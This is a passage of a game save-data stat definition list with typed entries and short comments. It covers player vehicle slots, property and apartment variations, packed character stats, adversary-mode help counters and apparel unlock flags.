MP1_ // Vehicle_57 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_57 // Add MP0_ or MP1_ // Vehicle_57 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_57 // Add MP0_ or MP1_ // Vehicle_57 premium paid by destroyer of vehicle +(int)MPSV_MODEL_57 // Add MP0_ or MP1_ // Vehicle_57 model enum of vehicle +(int)MPSV_FLAGS_57 // Add MP0_ or MP1_ // Vehicle_57 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_57 // Add MP0_ or MP1_ // Vehicle_57 cost of vehicle when purchased + +(u64)MPSV_LP0_57 // Add MP0_ or MP1_ // Vehicle_57 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_58 // Add MP0_ or MP1_ // Vehicle_58 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_58 // Add MP0_ or MP1_ // Vehicle_58 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_58 // Add MP0_ or MP1_ // Vehicle_58 premium paid by destroyer of vehicle +(int)MPSV_MODEL_58 // Add MP0_ or MP1_ // Vehicle_58 model enum of vehicle +(int)MPSV_FLAGS_58 // Add MP0_ or MP1_ // Vehicle_58 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_58 // Add MP0_ or MP1_ // Vehicle_58 cost of vehicle when purchased + +(u64)MPSV_LP0_58 // Add MP0_ or MP1_ // Vehicle_58 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_59 // Add MP0_ or MP1_ // Vehicle_59 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_59 // Add MP0_ or MP1_ // Vehicle_59 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_59 // Add MP0_ or MP1_ // Vehicle_59 premium paid by destroyer of vehicle +(int)MPSV_MODEL_59 // Add MP0_ or MP1_ // Vehicle_59 model enum of vehicle +(int)MPSV_FLAGS_59 // Add MP0_ or MP1_ // Vehicle_59 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_59 // Add MP0_ or MP1_ // Vehicle_59 cost of vehicle when purchased + +(u64)MPSV_LP0_59 // Add MP0_ or MP1_ // Vehicle_59 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_60 // Add MP0_ or MP1_ // Vehicle_60 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_60 // Add MP0_ or MP1_ // Vehicle_60 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_60 // Add MP0_ or MP1_ // Vehicle_60 premium paid by destroyer of vehicle +(int)MPSV_MODEL_60 // Add MP0_ or MP1_ // Vehicle_60 model enum of vehicle +(int)MPSV_FLAGS_60 // Add MP0_ or MP1_ // Vehicle_60 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_60 // Add MP0_ or MP1_ // Vehicle_60 cost of vehicle when purchased + +(u64)MPSV_LP0_60 // Add MP0_ or MP1_ // Vehicle_60 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_61 // Add MP0_ or MP1_ // Vehicle_61 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_61 // Add MP0_ or MP1_ // Vehicle_61 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_61 // Add MP0_ or MP1_ // Vehicle_61 premium paid by destroyer of vehicle +(int)MPSV_MODEL_61 // Add MP0_ or MP1_ // Vehicle_61 model enum of vehicle +(int)MPSV_FLAGS_61 // Add MP0_ or MP1_ // Vehicle_61 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_61 // Add MP0_ or MP1_ // Vehicle_61 cost of vehicle when purchased + +(u64)MPSV_LP0_61 // Add MP0_ or MP1_ // Vehicle_61 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_62 // Add MP0_ or MP1_ // Vehicle_62 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_62 // Add MP0_ or MP1_ // Vehicle_62 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_62 // Add MP0_ or MP1_ // Vehicle_62 premium paid by destroyer of vehicle +(int)MPSV_MODEL_62 // Add MP0_ or MP1_ // Vehicle_62 model enum of vehicle +(int)MPSV_FLAGS_62 // Add MP0_ or MP1_ // Vehicle_62 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_62 // Add MP0_ or MP1_ // Vehicle_62 cost of vehicle when purchased + + +(int)MPSV_VEHICLE_BS_63 // Add MP0_ or MP1_ // Vehicle_63 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_63 // Add MP0_ or MP1_ // Vehicle_63 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_63 // Add MP0_ or MP1_ // Vehicle_63 premium paid by destroyer of vehicle +(int)MPSV_MODEL_63 // Add MP0_ or MP1_ // Vehicle_63 model enum of vehicle +(int)MPSV_FLAGS_63 // Add MP0_ or MP1_ // Vehicle_63 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_63 // Add MP0_ or MP1_ // Vehicle_63 cost of vehicle when purchased + + +(int)MPSV_VEHICLE_BS_64 // Add MP0_ or MP1_ // Vehicle_64 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_64 // Add MP0_ or MP1_ // Vehicle_64 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_64 // Add MP0_ or MP1_ // Vehicle_64 premium paid by destroyer of vehicle +(int)MPSV_MODEL_64 // Add MP0_ or MP1_ // Vehicle_64 model enum of vehicle +(int)MPSV_FLAGS_64 // Add MP0_ or MP1_ // Vehicle_64 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_64 // Add MP0_ or MP1_ // Vehicle_64 cost of vehicle when purchased + +(int)MPSV_OBTAINED_TIME_52 // Add MP0_ or MP1_ // Vehicle_52 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_53 // Add MP0_ or MP1_ // Vehicle_53 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_54 // Add MP0_ or MP1_ // Vehicle_54 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_55 // Add MP0_ or MP1_ // Vehicle_55 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_56 // Add MP0_ or MP1_ // Vehicle_56 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_57 // Add MP0_ or MP1_ // Vehicle_57 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_58 // Add MP0_ or MP1_ // Vehicle_58 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_59 // Add MP0_ or MP1_ // Vehicle_59 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_60 // Add MP0_ or MP1_ // Vehicle_60 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_61 // Add MP0_ or MP1_ // Vehicle_61 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_62 // Add MP0_ or MP1_ // Vehicle_62 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_63 // Add MP0_ or MP1_ // Vehicle_63 time vehicle was obtained +(int)MPSV_OBTAINED_TIME_64 // Add MP0_ or MP1_ // Vehicle_64 time vehicle was obtained + +(int)APPARTMENT_VAR_0 // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)APPARTMENT_VAR_1 // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)APPARTMENT_VAR_2 // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)APPARTMENT_VAR_3 // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)APPARTMENT_VAR_4 // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack + +(int)MULTI_PROPERTY_4 // Add MP0_ or MP1_ // Stores what other property player has purchased +_3 +(int)MULTI_PROPERTY_VALUE_4 // Add MP0_ or MP1_ // Stores value other property player has purchased +_3 + +(packed)APAPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT15 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT16 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT17 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT18 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT19 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT20 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT21 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT22 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT23 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT24 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT25 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT26 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT27 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT28 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT29 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT30 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT31 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT32 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT33 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT34 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT35 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT36 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT37 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT38 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT39 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT40 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT41 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT42 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT43 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT44 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT45 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT46 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT47 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT48 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT49 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT50 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT51 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT52 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT53 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT54 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT55 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT56 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT57 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT58 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT59 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT60 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT61 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT62 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT63 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT64 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT65 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT66 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT67 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT68 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT69 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT70 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT71 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT72 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT73 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT74 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT75 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT76 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT77 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT78 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT79 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT80 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT81 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT82 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT83 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT84 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT85 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT86 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT87 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT88 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT89 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT90 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT91 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT92 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT93 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT94 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT95 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT96 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT97 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT98 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT99 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT100 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT101 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT102 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT103 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT104 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT105 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT106 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)APAPSTAT_INT107 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers + +(int)INV_YACHT_MODEL_0 // Add MP0_ or MP1_ // SA Stat for yacht model +(int)INV_YACHT_NAME_ID // Add MP0_ or MP1_ // SA Stat for yacht model +(int)HELPBEASTVSSLASHER // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPCOMEOUTTOPLAY // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPCROSSTHELINE // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPDROPZONE // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPEVERYBULLETCOUNTS // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPEXTRACTION // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPHASTALAVISTA // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPHUNTINGPACK // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPKEEPTHEPACE // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPOFFENSEDEFENSE // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPRELAY // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPRUNNINGBACK // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPSEIGEMENTALITY // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)HELPSLASHER // Add MP0_ or MP1_ // track the number of occurrences for each adversary mission. +(int)GB_ASSAULT_CD // Add MP0_ or MP1_ // Local Player is able to run Piracy Prevention multiple times within 1 hour with no cool down. +(int)GB_BELLY_CD // Add MP0_ or MP1_ // Local Player is able to run Piracy Prevention multiple times within 1 hour with no cool down. +(int)GB_BOSS_DM_CD // Add MP0_ or MP1_ // Local Player is able to run Piracy Prevention multiple times within 1 hour with no cool down. +(int)GB_HUNT_CD // Add MP0_ or MP1_ // Local Player is able to run Piracy Prevention multiple times within 1 hour with no cool down. +(int)GB_SEER_CD // Add MP0_ or MP1_ // Local Player is able to run Piracy Prevention multiple times within 1 hour with no cool down. +(int)GB_YACHT_CD // Add MP0_ or MP1_ // Local Player is able to run Piracy Prevention multiple times within 1 hour with no cool down. +(int)HELPBEMYVALEN // Add MP0_ or MP1_ // Stats to track help for Be My Valentine Adversary mode reminder invite +(bool)FILM4SHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)FILM5SHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)FILM6SHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)FILM7SHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)FILM8SHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(bool)FILM9SHIRTUNLOCK // Add MP0_ or MP1_ // log in item rewards +(int)HELPDAVE_GOLIATH // Add MP0_ or MP1_ // Stats to track help for Be My Valentine Adversary mode reminder invite +(bool)REBUILDSCPLATELIST // Add MP0_ or MP1_ // To let SC admin know if we need to Edit Licence plates +(int)REWARDTRANSACTION_CATKEY_0 // Add MP0_ or MP1_ // Catalog Item Key that sits in the queue of items awarded via transaction at position 0 +(int)REWARDTRANSACTION_CATKEY_1 // Add MP0_ or MP1_ // Catalog Item Key that sits in the queue of items awarded via transaction at position 1 +(int)REWARDTRANSACTION_CATKEY_2 // Add MP0_ or MP1_ // Catalog Item Key that sits in the queue of items awarded via transaction at position 2 +(int)REWARDTRANSACTION_CATKEY_3 // Add MP0_ or MP1_ // Catalog Item Key that sits in the queue of items awarded via transaction at position 3 +(bool)REWARDTRANSACTION_SYNCED // Add MP0_ or MP1_ // Were catalog item keys synced at least once with transaction queue? ie do saved catalog item keys contain something else than defaults + +(int)DLC_APPAREL_ACQUIRED_62 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_63 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_64 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_65 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_66 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_67 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_62 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_63 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_64 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_65 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_66 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_67 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)ADVERSARY_PROMO_HELP1 // Add MP0_ or MP1_ // Help text display +(int)ADVERSARY_PROMO_HELP2 // Add MP0_ or MP1_ // Help text display +(int)ADVERSARY_PROMO_HELP3 // Add MP0_ or MP1_ // Help text display +(int)YACHT_DOCK_HELP_MESSAGES // Add MP0_ or MP1_ // Help text display + +(packed)LR2PSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LR2PSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LR2PSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LR2PSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LR2PSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LR2PSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)LR2PSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(int)SELL_MISSION_ON_MISS_HELP // Add MP0_ or MP1_ // Help text display +(int)SELL_MISSION_OFF_MISS_HELP // Add MP0_ or MP1_ // Help text display + +(int)PROP_OFFICE_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_OFFICE_PERSONNEL // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_OFFICE_LOCKER_GUN // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_OFFICE_LOCKER_CASH // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_OFFICE_ACCOMMODATION // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_OFFICE_NAME_ID // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack + +(int)PROP_OFFICE // Add MP0_ or MP1_ // Stores what other property player has purchased +_4 +(int)PROP_OFFICE_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_4 + + +(int)PROP_CLUBHOUSE_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_CLUBHOUSE // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_CLUBHOUSE_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 + +(int)MULTI_PROPERTY_5 // Add MP0_ or MP1_ // Stores what other property player has purchased +_3 +(int)MULTI_PROPERTY_VALUE_5 // Add MP0_ or MP1_ // Stores value other property player has purchased +_3 +(int)APPARTMENT_VAR_5 // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack + + + + +(int)MPSV_VEHICLE_BS_65 // Add MP0_ or MP1_ // Vehicle_65 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_65 // Add MP0_ or MP1_ // Vehicle_65 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_65 // Add MP0_ or MP1_ // Vehicle_65 premium paid by destroyer of vehicle +(int)MPSV_MODEL_65 // Add MP0_ or MP1_ // Vehicle_65 model enum of vehicle +(int)MPSV_FLAGS_65 // Add MP0_ or MP1_ // Vehicle_65 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_65 // Add MP0_ or MP1_ // Vehicle_65 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_65 // Add MP0_ or MP1_ // Vehicle_65 time vehicle was obtained + +(u64)MPSV_LP0_65 // Add MP0_ or MP1_ // Vehicle_65 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_66 // Add MP0_ or MP1_ // Vehicle_66 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_66 // Add MP0_ or MP1_ // Vehicle_66 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_66 // Add MP0_ or MP1_ // Vehicle_66 premium paid by destroyer of vehicle +(int)MPSV_MODEL_66 // Add MP0_ or MP1_ // Vehicle_66 model enum of vehicle +(int)MPSV_FLAGS_66 // Add MP0_ or MP1_ // Vehicle_66 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_66 // Add MP0_ or MP1_ // Vehicle_66 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_66 // Add MP0_ or MP1_ // Vehicle_66 time vehicle was obtained + +(u64)MPSV_LP0_66 // Add MP0_ or MP1_ // Vehicle_66 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_67 // Add MP0_ or MP1_ // Vehicle_67 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_67 // Add MP0_ or MP1_ // Vehicle_67 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_67 // Add MP0_ or MP1_ // Vehicle_67 premium paid by destroyer of vehicle +(int)MPSV_MODEL_67 // Add MP0_ or MP1_ // Vehicle_67 model enum of vehicle +(int)MPSV_FLAGS_67 // Add MP0_ or MP1_ // Vehicle_67 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_67 // Add MP0_ or 